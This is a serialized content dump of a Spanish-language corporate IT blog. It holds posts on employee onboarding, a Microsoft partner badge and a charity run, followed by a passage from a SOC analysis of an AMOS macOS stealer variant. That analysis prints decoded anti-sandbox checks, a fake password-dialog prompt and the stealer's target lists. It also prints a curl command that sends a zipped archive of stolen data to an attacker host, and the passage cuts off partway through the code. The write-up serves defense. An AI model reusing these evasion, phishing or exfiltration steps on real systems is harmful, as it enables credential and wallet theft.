tiempo con tu equipo. Cada equipo tiene su propio plan de onboarding, que te muestra qué esperar a nivel profesional y organizativo. Pero sobre todo se trata de llegar a nosotros y conocer glueckkanja. Y si ahora piensas que eso fue todo en cuanto a actividades de equipo y comidas compartidas, todavía no nos conoces del todo.",[819,2140,2142],{"id":2141},"first-thursday-una-parte-fija-de-nuestra-cultura","First Thursday: una parte fija de nuestra cultura",[809,2144,825],{},[809,2146,2147],{},"Una parte importante de nuestra cultura de trabajo es el First Thursday. Cada primer jueves del mes, toda la empresa sale a comer junta. Vivimos esta tradición en todas nuestras sedes, y representa intercambio, cohesión y una llegada compartida. Aquí conoces en persona a gran parte de la empresa.",[819,2149,2151],{"id":2150},"cómo-sigue-todo","¿Cómo sigue todo?",[809,2153,825],{},[809,2155,2156],{},"Después de tu primera semana de onboarding, tu equipo te acompaña durante el resto de tu onboarding en GK, paso a paso, hasta que hayas llegado por completo.",[809,2158,2159],{},"¿Te imaginas empezar así? Echa un vistazo a las posiciones que están abiertas ahora mismo.",[809,2161,2162],{},[813,2163,2169,2172],{"role":910,"className":2164,"dataText":2166,"href":2167,"target":516,"rel":2168},[912,2165,915],"link","Ver posiciones abiertas","https://www.glueckkanja.com/es/job-offers",[1663],[919,2170,2166],{"className":2171},[922],[919,2173,2179],{"className":2174,"style":2178},[2175,2176,2177,915],"icon","icon--right","icon--arrow","--color-icon: currentColor; --icon-rotation: 0deg;",[2180,2181,2190],"svg",{"viewBox":2182,"width":2183,"height":2183,"padding":2184,"xmlSpace":2185,"version":2186,"xmlns":2187,"xmlns:link":2188,"style":2189},"0 0 28 17","28px","6","preserve","1.1","http://www.w3.org/2000/svg","http://www.w3.org/1999/xlink","stroke: currentcolor; transform: rotate(var(--icon-rotation)) scale(var(--icon-scale));",[2191,2192,2194,2203],"g",{"transform":2193},"translate(0.75 0.75)",[2195,2196],"path",{"d":2197,"transform":2198,"fill":2199,"fillRule":2200,"strokeWidth":2201,"strokeLineCap":2202,"strokeLineJoin":2202},"M0.5 0.5L26 0.5","translate(0 7)","none","evenodd","1.5","round",[2195,2204],{"d":2205,"transform":2206,"fill":2199,"fillRule":2200,"strokeWidth":2201,"strokeLineCap":2202,"strokeLineJoin":2202},"M0 15L7 7.5L0 0","translate(19 0)",{"title":927,"searchDepth":928,"depth":928,"links":2208},[2209,2210,2211,2212,2213,2214],{"id":2087,"depth":928,"text":2088},{"id":2099,"depth":928,"text":2100},{"id":2117,"depth":928,"text":2118},{"id":2132,"depth":928,"text":2133},{"id":2141,"depth":928,"text":2142},{"id":2150,"depth":928,"text":2151},{"lang":940,"seoTitle":2216,"titleClass":942,"date":2217,"categories":2218,"blogtitlepic":2219,"socialimg":2220,"customExcerpt":2221,"keywords":2222,"hreflang":2223,"published":511,"scripts":2230},"Onboarding en glueckkanja: De la firma del contrato a tu primer día en el equipo","2026-07-01",[945],"Onboarding_Blogheader","https://res.cloudinary.com/c4a8/image/upload/blog/heads/Onboarding_Blogheader.jpg","El contrato está firmado, el primer gran paso está hecho. ¿Pero qué sucede ahora? Te llevamos detrás de escena de nuestro onboarding, desde el pre-boarding hasta tu primera semana en el equipo.","Onboarding glueckkanja, onboarding empresa IT, proceso de onboarding IT, nuevo empleado IT, pre-boarding IT, primer día empresa IT, integración de empleados IT, employer branding IT, cultura empresarial IT, cultura de bienvenida IT, people and culture, programa de onboarding IT, empleador Offenbach am Main",[2224,2226,2228],{"lang":4,"href":2225},"/de/posts/2026-07-01-onboarding-process",{"lang":1026,"href":2227},"/en/posts/2026-07-01-onboarding-process",{"lang":940,"href":2229},"/es/posts/2026-07-01-onboarding-process",{"slick":511,"form":511},"/posts/2026-07-01-onboarding-process",{"title":2078,"description":2084},"posts/2026-07-01-onboarding-process",[2235,2236,2237],"Employer Branding","Onboarding","Cultura Empresarial","MU2FbH0NJMwfDPWKEMZeyKWQHGjszTdL9nJJCOVcCR0",{"id":2240,"title":2241,"author":2242,"body":2243,"cta":767,"description":2247,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":2304,"moment":2306,"navigation":511,"path":2349,"seo":2350,"stem":2351,"tags":2352,"webcast":752,"__hash__":2354},"content_es/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: somos uno de los pocos",[804],{"type":806,"value":2244,"toc":2299},[2245,2248,2252,2254,2257,2261,2263,2266,2287,2290,2294,2296],[809,2246,2247],{},"En el ecosistema de partners de Microsoft existe una larga lista de reconocimientos y, aun así, el Frontier Partner Badge se distingue de los demás por su propio planteamiento. No se puede solicitar, sino que se otorga por iniciativa de Microsoft a un círculo selecto de partners que deben demostrar su nivel en varias disciplinas en paralelo, en lugar de brillar en una sola. Microsoft examina competencia demostrada en Cloud & AI Platforms, en AI Business Solutions y en Security por igual y se dirige así a empresas que no entienden la IA como un añadido a la IT existente, sino como el resultado de una arquitectura integral que se sostiene desde la identidad y el endpoint hasta la operación productiva de IA.",[819,2249,2251],{"id":2250},"lo-que-microsoft-examina-con-el-badge","Lo que Microsoft examina con el badge",[809,2253,825],{},[809,2255,2256],{},"Para el Frontier Partner Badge, Microsoft no examina una sola disciplina de forma aislada, sino una cadena en la que la plataforma cloud, la aplicación de IA y la security se condicionan mutuamente. La plataforma cloud y la infraestructura de IA deben ser lo bastante sólidas para que las aplicaciones productivas de IA puedan ejecutarse sobre ellas, y estas aplicaciones, a su vez, deben realizar de verdad el paso del piloto a la operación habitual, no limitarse a convencer en una demo. La protección de este entorno frente a ataques reales atraviesa ambas disciplinas y decide si una iniciativa de IA acaba generando valor productivo o un riesgo de seguridad inasumible en sectores regulados. La arquitectura de datos e identidades no son temas separados en este modelo, sino parte de cada una de estas disciplinas, y es precisamente ahí donde fracasan la mayoría de los proyectos de IA en las empresas, cuando la foundation que hay debajo no sostiene.",[819,2258,2260],{"id":2259},"sobre-qué-se-apoya-el-badge-en-nuestro-caso","Sobre qué se apoya el badge en nuestro caso",[809,2262,825],{},[809,2264,2265],{},"Llevamos años construyendo en el orden en el que Microsoft examina: primero la foundation sobre la que descansa todo, después las cargas de trabajo que se ejecutan sobre ella y, por último, la inteligencia que entra en esas cargas de trabajo. Cada área que Microsoft observa para el Frontier Partner Badge se corresponde con uno de nuestros servicios que funciona en entornos de clientes en producción, verificado en el día a día y no sobre el papel.",[809,2267,2268,2269,2271,2272,2274,2275,2277,2278,2280,2281,2283,2284,2286],{},"En el puesto de trabajo, la ",[813,2270,131],{"href":136}," y ",[813,2273,45],{"href":50}," mantienen Windows 365, Azure Virtual Desktop y endpoints clásicos bajo una lógica común, y por debajo un entorno Intune versionado garantiza que cada directiva se mantenga como código y que la detección de drift salte antes de que una desviación de configuración sea explotable. En la plataforma cloud, la ",[813,2276,319],{"href":324}," y la ",[813,2279,339],{"href":344}," aportan una landing zone y una arquitectura lakehouse que abastecen a las aplicaciones de IA con datos consistentes y mantienen con coherencia la separación entre capa de plataforma y capa de aplicación. En la capa de security, el ",[813,2282,396],{"href":401}," y nuestro Cloud Security Operations Center proporcionan un contexto administrativo completamente separado, Privileged Access Workstations y una operación SOC supervisada las 24 horas que detecta ataques en Defender y Sentinel antes de que hayan desplegado efecto. Y en la aplicación de IA, los ",[813,2285,478],{"href":483}," reconstruyen incidentes en Defender XDR, los enriquecen con inteligencia de amenazas y asumen el trabajo de triaje que hoy consume horas en el SOC.",[809,2288,2289],{},"Esta cadena continua, desde el puesto de trabajo hasta la aplicación productiva de IA, es la sustancia que Microsoft confirma con el Frontier Partner Badge.",[819,2291,2293],{"id":2292},"lo-que-el-badge-significa-para-los-proyectos-de-clientes","Lo que el badge significa para los proyectos de clientes",[809,2295,825],{},[809,2297,2298],{},"Para una empresa que se está planteando con qué partner poner en marcha sus primeros proyectos productivos de IA, el Frontier Partner Badge es un atajo en el proceso de selección, porque el sello lo otorga Microsoft directamente y señala que este grupo es capaz de llevar a término proyectos de IA en entornos regulados y sensibles a la seguridad. En la práctica, eso desplaza las conversaciones entre partner, cliente y Microsoft a otro nivel, porque los Frontier Partners están más cerca del roadmap de Microsoft y son interpelados directamente para programas piloto y early releases, mientras los equipos de cuenta de Microsoft los incorporan a co-engagements cuando un cliente necesita viabilidad técnica para una iniciativa de IA. Al mismo tiempo, los partners reconocidos siguen sometidos a una presión permanente de demostración, porque quien está cualificado este año debe volver a estarlo el siguiente, y el propio catálogo de requisitos se desplaza de año en año. No hay derechos adquiridos.",{"title":927,"searchDepth":928,"depth":928,"links":2300},[2301,2302,2303],{"id":2250,"depth":928,"text":2251},{"id":2259,"depth":928,"text":2260},{"id":2292,"depth":928,"text":2293},{"lang":940,"seoTitle":2305,"titleClass":942,"date":2306,"categories":2307,"blogtitlepic":2308,"socialimg":2309,"customExcerpt":2310,"keywords":2311,"contactInContent":2312,"hreflang":2343,"published":511,"scripts":2348},"Microsoft Frontier Partner Badge: glueckkanja cualificada","2026-06-26",[945],"head-frontier-partner-badge.jpg","/blog/heads/head-frontier-partner-badge.jpg","Microsoft ha introducido recientemente un nuevo reconocimiento de primer nivel dentro de su AI Cloud Partner Program: el Frontier Partner Badge. Se otorga exclusivamente a un círculo selecto de partners en todo el mundo que han demostrado en la práctica que pueden entregar proyectos de IA en todo el stack de Microsoft, desde el puesto de trabajo y la plataforma cloud hasta la security y la propia aplicación de IA. En el ámbito DACH, solo un puñado de empresas pertenecen a este círculo, y nosotros somos una de ellas.","Frontier Partner, Microsoft Frontier Partner Badge, Microsoft AI Cloud Partner Program, Solutions Partner Designation, Specialization Copilot, Specialization AI Apps, Specialization Data Security, Microsoft Partner España, Microsoft AI Solutions Partner, glueckkanja Microsoft Partner, Copilot Solutions Partner, Modern Work, Security Solutions Partner, Microsoft Partner Center",{"quote":511,"infos":2313},{"bgColor":952,"color":953,"boxBgColor":764,"boxColor":953,"headline":2314,"subline":2315,"level":819,"textStyling":956,"flush":957,"person":2316,"form":2326},"Contactad con nosotros","¿Estáis planificando iniciativas de IA en el stack de Microsoft y queréis saber qué significa el Frontier Badge en la práctica para vuestro entorno? Habladnos. Repasamos con vosotros dónde estáis hoy y qué tiene sentido como siguiente paso.",{"image":2317,"cloudinary":511,"alt":2318,"name":2319,"quotee":2319,"quoteeTitle":2320,"quote":2321,"detailsHeader":964,"details":2322},"/people/at-andreas-hoetzinger.png","Andreas Hötzinger, Head of Partner Alliances","Andreas Hötzinger","Head of Partner Alliances","Microsoft ha puesto deliberadamente el listón alto con el Frontier Partner Badge. Quien lo consigue ha entregado en varias disciplinas, no solo en una. Para los clientes, esa es la respuesta más corta en el proceso de selección a la pregunta de quién hace viable la IA en el stack de Microsoft.",[2323,2324],{"text":765,"href":1900,"details":969,"icon":970},{"text":766,"href":2325,"icon":974},"mailto:info@glueckkanja.com",{"ctaText":976,"cta":2327,"method":938,"action":979,"fields":2328},{"skin":978},[2329,2330,2331,2332,2333,2334,2335,2336,2338,2340,2341,2342],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":989},{"label":991,"type":987,"id":615,"required":511,"requiredMsg":992},{"label":994,"type":995,"id":995,"required":511,"requiredMsg":996},{"label":998,"type":999,"id":1000,"required":752,"requiredMsg":1001},{"label":1003,"type":1004,"id":1005,"required":511,"requiredMsg":1006},{"type":982,"id":1008,"value":945},{"type":982,"id":1010,"value":2337},"World",{"type":982,"id":1013,"value":2339},"Form: Frontier Partner | ES",{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},[2344,2346],{"lang":4,"href":2345},"/de/posts/2026-06-26-frontier-partner",{"lang":1026,"href":2347},"/en/posts/2026-06-26-frontier-partner",{"slick":511,"form":511},"/posts/2026-06-26-frontier-partner",{"title":2241,"description":2247},"posts/2026-06-26-frontier-partner",[1035,2353,1793],"Microsoft Partner","73VXsYUWjiJrymQ6G3Om3vCz3V3fW98F8yS7O2WdA0o",{"id":2356,"title":2357,"author":2358,"body":2359,"cta":767,"description":2363,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":2429,"moment":2431,"navigation":511,"path":2449,"seo":2450,"stem":2451,"tags":2452,"webcast":752,"__hash__":2455},"content_es/posts/2026-06-09-vair-run.md","160 kilómetros por una buena causa",[1320],{"type":806,"value":2360,"toc":2424},[2361,2364,2368,2370,2379,2383,2385,2394,2397,2403,2407,2409,2412,2418,2421],[809,2362,2363],{},"Domingo por la mañana, 8:30 h, Holbeinsteg a orillas del Meno. Once compañeros y compañeras con sus camisetas NinjaCat, listos para las Frankfurter Runden. Lluvia, rayos y truenos incluidos. Correr por una buena causa fue motivación más que suficiente para atarse las zapatillas pese al mal tiempo.",[819,2365,2367],{"id":2366},"frankfurt-corre-y-corre-y-corre","Frankfurt corre. Y corre. Y corre.",[809,2369,825],{},[809,2371,2372,2373,2378],{},"Las Frankfurter Runden son un evento deportivo popular a lo largo de una ruta de 10 kilómetros por las orillas del Meno, pasando junto al BCE y el Hafenpark, con el skyline de Frankfurt de fondo. Lo que lo hace especial: los participantes deciden durante la carrera cuántas vueltas quieren completar. De una a cuatro vueltas, es decir, entre 10 y 40 kilómetros. Después de cada vuelta, la decisión es tuya: cruzar la meta o seguir corriendo. glueckkanja le dio al equipo un motivo extra para seguir adelante: por cada vuelta completada, glueckkanja dona al ",[813,2374,2377],{"href":2375,"rel":2376},"https://vairein.de/",[1509],"VAIR e.V."," de Offenbach, concretamente al proyecto Vairplay.",[819,2380,2382],{"id":2381},"un-parque-para-todos-en-el-corazón-de-offenbach","Un parque para todos, en el corazón de Offenbach",[809,2384,825],{},[809,2386,2387,2388,2393],{},"El VAIR e.V. está construyendo ",[813,2389,2392],{"href":2390,"rel":2391},"https://www.vairplay-of.de/",[1509],"Vairplay"," bajo el puente Kaiserlei: el primer parque deportivo y cultural público e inclusivo de la ciudad. En un terreno de unos 10.000 metros cuadrados que llevaba años abandonado, el objetivo es crear un espacio donde el deporte, el movimiento y la cultura convivan, sin barreras, abierto a todas las edades y con gradas y escenarios para eventos y conciertos.",[809,2395,2396],{},"Zijad Doličanin, presidente del VAIR e.V., lo ve como un lugar donde las personas puedan encontrarse, relacionarse y vivir un sentido de comunidad, donde se superen las barreras sociales y culturales y se fortalezca el tejido social de la región. Un punto de encuentro para una ciudad conocida por su diversidad y su espíritu de convivencia. glueckkanja es una empresa de Offenbach hasta la médula, aquí empezó todo, muchos compañeros son de la zona, y para nosotros el compromiso social empieza allí donde tenemos nuestras raíces.",[2398,2399],"quotes",{":quotes":2400,":no-fullscreen":2401,"spacing":2402},"quoteZijad","true","mb-10",[819,2404,2406],{"id":2405},"_16-vueltas-un-podio-y-mucho-ánimo","16 vueltas, un podio y mucho ánimo",[809,2408,825],{},[809,2410,2411],{},"Poco después de la salida, el primer frente de tormenta cruzó Frankfurt. Lluvia intensa, rayos, truenos y algo de viento. Por un momento, algunos en la carrera se preguntaron si el evento se suspendería. No fue así. Así que todo el mundo siguió adelante. Los espectadores a lo largo del Meno animaron sin parar, justo lo que se necesita cuando estás empapado y en tu segunda vuelta.",[809,2413,2414],{},[838,2415],{"alt":2416,"src":2417},"Frankfurter Runden con nuestra NinjaCat","https://res.cloudinary.com/c4a8/image/upload/blog/pics/frankfurter-runden.jpg",[809,2419,2420],{},"El equipo también se animó entre sí, y se notó. Al final de la mañana, el equipo de glueckkanja había completado 16 vueltas en total. Ocho compañeros corrieron una vuelta, dos se animaron a hacer dos. Y luego estaba Lisa, que terminó su primera vuelta y simplemente siguió corriendo. Terminó la segunda y también siguió. 30 kilómetros, un tiempo de 2:18:50, segundo puesto en la clasificación femenina general y primer puesto en su categoría de edad. El equipo se quedó hasta el final de la ceremonia de entrega de premios y aplaudió cada segundo.",[809,2422,2423],{},"160 kilómetros se sumaron aquella mañana, uno tras otro, bajo la lluvia, y cada uno de ellos va destinado a un parque que Offenbach todavía no tiene. El equipo volverá en 2027, llueva o no.",{"title":927,"searchDepth":928,"depth":928,"links":2425},[2426,2427,2428],{"id":2366,"depth":928,"text":2367},{"id":2381,"depth":928,"text":2382},{"id":2405,"depth":928,"text":2406},{"lang":940,"seoTitle":2430,"titleClass":942,"date":2431,"categories":2432,"blogtitlepic":2433,"socialimg":2434,"customExcerpt":2435,"keywords":2436,"hreflang":2437,"scripts":2442,"quoteZijad":2443},"Frankfurter Runden 2026: glueckkanja corre 160 kilómetros por VAIR e.V. Offenbach","2026-06-08",[945],"frankfurter-runden.png","/blog/heads/frankfurter-runden.png","Once compañeros, 16 vueltas, 160 kilómetros, una tormenta y un puesto en el podio: glueckkanja participó en las Frankfurter Runden 2026 y donó al VAIR e.V. por cada vuelta completada, apoyando la construcción de un parque deportivo y cultural inclusivo en Offenbach.","Frankfurter Runden, carrera solidaria Frankfurt, RSC empresa IT, compromiso social Offenbach, team building Offenbach, mejor empleador Rin-Meno, Vairein Offenbach, VAIR e.V. Offenbach, Vairplay Offenbach, glueckkanja Offenbach, employer branding IT, cultura empresarial IT, empresa IT Offenbach, deporte comunitario Frankfurt, parque inclusivo Offenbach, trabajar en glueckkanja",[2438,2440],{"lang":4,"href":2439},"/de/posts/2026-06-09-vair-run",{"lang":1026,"href":2441},"/en/posts/2026-06-09-vair-run",{"slick":511,"form":511},{"items":2444},[2445],{"text":2446,"name":2447,"company":2448,"alt":2447},"El compromiso de las empresas locales es una señal importante de responsabilidad social y de vínculo real con la región. Este tipo de colaboraciones hace posibles proyectos sostenibles, genera valor para la comunidad y demuestra lo que se puede conseguir juntos.","Zijad Doličanin","Presidente de VAIR e.V.","/posts/2026-06-09-vair-run",{"title":2357,"description":2363},"posts/2026-06-09-vair-run",[2453,2235,2454],"Top Employer","Compromiso Social","ATDgxLj3S4HSHFacdza-5IkL3rDclr--4IvmBLeXLU0",{"id":2457,"title":2458,"author":2459,"body":2460,"cta":767,"description":2464,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":4597,"moment":4599,"navigation":511,"path":4653,"seo":4654,"stem":4655,"tags":4656,"webcast":752,"__hash__":4662},"content_es/posts/2026-04-10-incident-to-intelligence.md","Anatomía de un AMOS Stealer desconocido: Del alerta a la inmunidad en horas",[1301],{"type":806,"value":2461,"toc":4561},[2462,2465,2468,2471,2474,2478,2480,2483,2486,2488,2492,2495,2498,2511,2514,2517,2525,2528,2532,2534,2537,2558,2561,2569,2572,2580,2587,2591,2593,2596,2604,2619,2623,2625,2628,2632,2635,2643,2647,2649,2657,2661,2663,2666,2670,2672,2675,2683,2687,2689,2696,2699,2796,2799,2829,2831,2835,2837,2844,2847,2851,2853,2936,2940,2942,2953,2960,3033,3044,3051,3055,3057,3122,3126,3128,3135,3137,3141,3143,3150,3176,3362,3365,3373,3384,3387,3395,3410,3423,3425,3429,3431,3449,3471,3661,3664,3672,3675,3678,3680,3684,3686,3689,3766,3769,3788,3867,3870,3872,3876,3878,3881,3888,3943,3946,3954,3957,3959,3963,3965,3972,3985,4033,4044,4083,4092,4107,4110,4112,4116,4118,4125,4128,4136,4139,4147,4161,4164,4166,4170,4172,4182,4186,4188,4206,4214,4228,4248,4252,4254,4257,4265,4268,4276,4290,4294,4296,4299,4307,4325,4330,4334,4336,4344,4351,4358,4362,4364,4372,4376,4378,4381,4389,4392,4396,4398,4406,4410,4412,4420,4424,4426,4434,4438,4440,4448,4469,4474,4476,4480,4482,4489,4506,4509,4522,4524,4528,4530,4533,4536,4539,4541,4557],[809,2463,2464],{},"Cuando se activa una alerta en nuestro SOC, el reloj empieza a correr. No solo para el cliente afectado, sino para cada cliente que protegemos. En el panorama actual de amenazas, el momento más peligroso para cualquier organización es la brecha de inteligencia: esa ventana de tiempo entre el despliegue de una nueva variante de malware y el momento en que el resto del mundo se entera de su existencia.",[809,2466,2467],{},"Para un equipo de seguridad independiente, esta brecha representa un período de vulnerabilidad extrema. En esencia, se está esperando una actualización del proveedor o un feed de firmas público que todavía no existe. Para nuestros clientes, esa brecha se cierra gracias a nuestra plataforma de Shared Threat Intelligence desarrollada internamente.",[809,2469,2470],{},"Este blogpost es el desglose técnico de cómo desmantelamos una variante de AMOS (Atomic macOS Stealer) no documentada hasta ese momento. Es la historia de cómo se pasa de un único endpoint comprometido al despliegue rápido de capacidades de detección y bloqueo en los entornos de los clientes.",[2472,2473],"hr",{},[1939,2475,2477],{"id":2476},"el-incidente-un-escenario-con-ioc-desconocido","El incidente: un escenario con IOC desconocido",[809,2479,825],{},[809,2481,2482],{},"La alerta llegó el 12 de marzo de 2026 a las 06:25, hora local. Un endpoint macOS había sido comprometido. Cuando nuestro SOC comenzó a analizar los artefactos, nos encontramos ante la situación que todo analista de amenazas teme: ningún hash de archivo conocido, ninguna dirección IP de C2 ni ninguna firma de comportamiento relevante existía en bases de datos públicas en el momento de la detección.",[809,2484,2485],{},"La arquitectura completa del ataque solo quedó clara durante el análisis en profundidad posterior. Descubrimos que la infección se basaba en un Universal Binary macOS de 15,7 MB (x86_64 y ARM64) depositado en /private/tmp/helper. Esta muestra no estaba disponible directamente en el sistema; nuestro equipo tuvo que reconstruir la cadena de infección y simular la solicitud de entrega original para recuperar manualmente el binario desde la infraestructura del atacante.",[2472,2487],{},[819,2489,2491],{"id":2490},"stage-1-comprobaciones-de-sandbox","Stage 1: Comprobaciones de sandbox",[809,2493,2494],{},"{: .h4-font-size}",[809,2496,2497],{},"Antes de que el propio stealer malicioso se ejecutara en la máquina, ya había ejecutado un payload de AppleScript. Todas las cadenas de texto, cada ruta de archivo, cada comando de shell, cada URL, estaban codificadas mediante tres funciones aritméticas personalizadas:",[2499,2500,2502],"div",{"style":2501},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[2503,2504,2508],"pre",{"className":2505,"code":2507,"language":987},[2506],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[2509,2510,2507],"code",{"__ignoreMap":927},[809,2512,2513],{},"Ninguna de las cadenas aparece en texto plano en ningún lugar. Lo que a primera vista parecía arrays de enteros sin sentido se decodificó, una vez invertido el esquema de codificación, en un framework completo y totalmente operativo de robo y exfiltración de datos.",[809,2515,2516],{},"Decodificamos estáticamente todos los arrays del script. Los resultados fueron inequívocos:",[2499,2518,2519],{"style":2501},[2503,2520,2523],{"className":2521,"code":2522,"language":987},[2506],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[2509,2524,2522],{"__ignoreMap":927},[809,2526,2527],{},"La URL de descarga estaba deliberadamente diseñada para suplantar una actualización legítima de n8n workflow automation, una herramienta de uso habitual entre desarrolladores e ingenieros de DevOps. No es una elección aleatoria. Señala una campaña dirigida a usuarios técnicamente sofisticados, no a usuarios genéricos que puedan instalar software pirateado.",[819,2529,2531],{"id":2530},"la-comprobación-anti-sandbox","La comprobación anti-sandbox",[809,2533,2494],{},[809,2535,2536],{},"Antes de que se produjera ninguna descarga, el script ejecutó una rutina dedicada de detección de VM y sandbox. También recuperamos del incidente un script anti-sandbox independiente:",[2499,2538,2539],{"style":2501},[2503,2540,2544],{"className":2541,"code":2542,"language":2543,"meta":927,"style":927},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[2509,2545,2546,2553],{"__ignoreMap":927},[919,2547,2550],{"class":2548,"line":2549},"line",1,[919,2551,2552],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[919,2554,2555],{"class":2548,"line":928},[919,2556,2557],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[809,2559,2560],{},"Los resultados se comprobaban contra dos listas. La primera verificaba marcadores de virtualización en los datos de memoria:",[2499,2562,2563],{"style":2501},[2503,2564,2567],{"className":2565,"code":2566,"language":987},[2506],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[2509,2568,2566],{"__ignoreMap":927},[809,2570,2571],{},"La segunda comprobaba los identificadores de hardware contra un conjunto de números de serie conocidos de máquinas de análisis:",[2499,2573,2574],{"style":2501},[2503,2575,2578],{"className":2576,"code":2577,"language":987},[2506],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[2509,2579,2577],{"__ignoreMap":927},[809,2581,2582,2583,2586],{},"Si se encontraba alguna coincidencia: ",[2509,2584,2585],{},"exit 100",", terminación completa. En un MacBook Pro real con chip Apple Silicon, todas las comprobaciones pasan en silencio y la ejecución continúa. Se trata de una técnica de evasión de sandbox de nivel profesional que ya estaba en marcha antes de que se descargara un solo byte del binario.",[819,2588,2590],{"id":2589},"escalada-de-privilegios-simple-pero-efectiva-el-diálogo-de-contraseña-falso","Escalada de privilegios simple pero efectiva: el diálogo de contraseña falso",[809,2592,2494],{},[809,2594,2595],{},"El script decodificado también contenía el texto utilizado para la escalada de privilegios mediante ingeniería social:",[2499,2597,2598],{"style":2501},[2503,2599,2602],{"className":2600,"code":2601,"language":987},[2506],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[2509,2603,2601],{"__ignoreMap":927},[809,2605,2606,2607,2610,2611,2614,2615,2618],{},"Este diálogo se muestra mediante una llamada estándar de macOS ",[2509,2608,2609],{},"display dialog"," con ",[2509,2612,2613],{},"with hidden answer",", visualmente indistinguible de un mensaje de autorización legítimo de macOS. La contraseña introducida se utilizaba para invocar ",[2509,2616,2617],{},"login -pf \u003Cusername>",", elevando el proceso a root antes de que se ejecutara el binario.",[819,2620,2622],{"id":2621},"qué-recopiló-el-script","Qué recopiló el script",[809,2624,2494],{},[809,2626,2627],{},"Una vez ejecutado el binario, el osascript continuó su propio flujo de recopilación, apuntando a todas las categorías de datos sensibles del sistema. Decodificamos todas las rutas y objetivos de recopilación:",[897,2629,2631],{"id":2630},"datos-del-navegador-todos-los-navegadores-chromium-safari","Datos del navegador (todos los navegadores Chromium + Safari):",[809,2633,2634],{},"{: .font-size-4}",[2499,2636,2637],{"style":2501},[2503,2638,2641],{"className":2639,"code":2640,"language":987},[2506],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[2509,2642,2640],{"__ignoreMap":927},[897,2644,2646],{"id":2645},"macos-keychain","macOS Keychain:",[809,2648,2634],{},[2499,2650,2651],{"style":2501},[2503,2652,2655],{"className":2653,"code":2654,"language":987},[2506],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[2509,2656,2654],{"__ignoreMap":927},[897,2658,2660],{"id":2659},"apple-notes","Apple Notes",[809,2662,2634],{},[809,2664,2665],{},"Contenido completo exportado como HTML con encabezado de recuento",[897,2667,2669],{"id":2668},"archivos-locales","Archivos locales",[809,2671,2634],{},[809,2673,2674],{},"Escritorio y Documentos, hasta 30 MB, con los siguientes objetivos:",[2499,2676,2677],{"style":2501},[2503,2678,2681],{"className":2679,"code":2680,"language":987},[2506],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[2509,2682,2680],{"__ignoreMap":927},[897,2684,2686],{"id":2685},"carteras-de-criptomonedas","Carteras de criptomonedas",[809,2688,2634],{},[809,2690,2691,2692,2695],{},"Una lista codificada de ",[1656,2693,2694],{},"más de 200 IDs de extensiones de navegador"," dirigida a todas las carteras principales, incluyendo MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI y Exodus.",[809,2697,2698],{},"Tras la recopilación, todo se preparaba en un directorio temporal con nombre aleatorio y se enviaba:",[2499,2700,2701],{"style":2501},[2503,2702,2706],{"className":2703,"code":2704,"language":2705,"meta":927,"style":927},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[2509,2707,2708,2742,2768,2784],{"__ignoreMap":927},[919,2709,2710,2714,2718,2721,2724,2728,2732,2736,2739],{"class":2548,"line":2549},[919,2711,2713],{"class":2712},"sScJk","ditto",[919,2715,2717],{"class":2716},"sj4cs"," -c",[919,2719,2720],{"class":2716}," -k",[919,2722,2723],{"class":2716}," --sequesterRsrc",[919,2725,2727],{"class":2726},"szBVR"," \u003C",[919,2729,2731],{"class":2730},"sZZnC","staging_di",[919,2733,2735],{"class":2734},"sVt8B","r",[919,2737,2738],{"class":2726},">",[919,2740,2741],{"class":2730}," /tmp/out.zip\n",[919,2743,2744,2747,2750,2753,2756,2759,2762,2765],{"class":2548,"line":928},[919,2745,2746],{"class":2712},"curl",[919,2748,2749],{"class":2716}," --connect-timeout",[919,2751,2752],{"class":2716}," 120",[919,2754,2755],{"class":2716}," --max-time",[919,2757,2758],{"class":2716}," 300",[919,2760,2761],{"class":2716}," -X",[919,2763,2764],{"class":2730}," POST",[919,2766,2767],{"class":2716}," \\\n",[919,2769,2770,2773,2776,2779,2782],{"class":2548,"line":935},[919,2771,2772],{"class":2716},"  -H",[919,2774,2775],{"class":2730}," \"user: \u003Cuuid>\"",[919,2777,2778],{"class":2716}," -H",[919,2780,2781],{"class":2730}," \"BuildID: 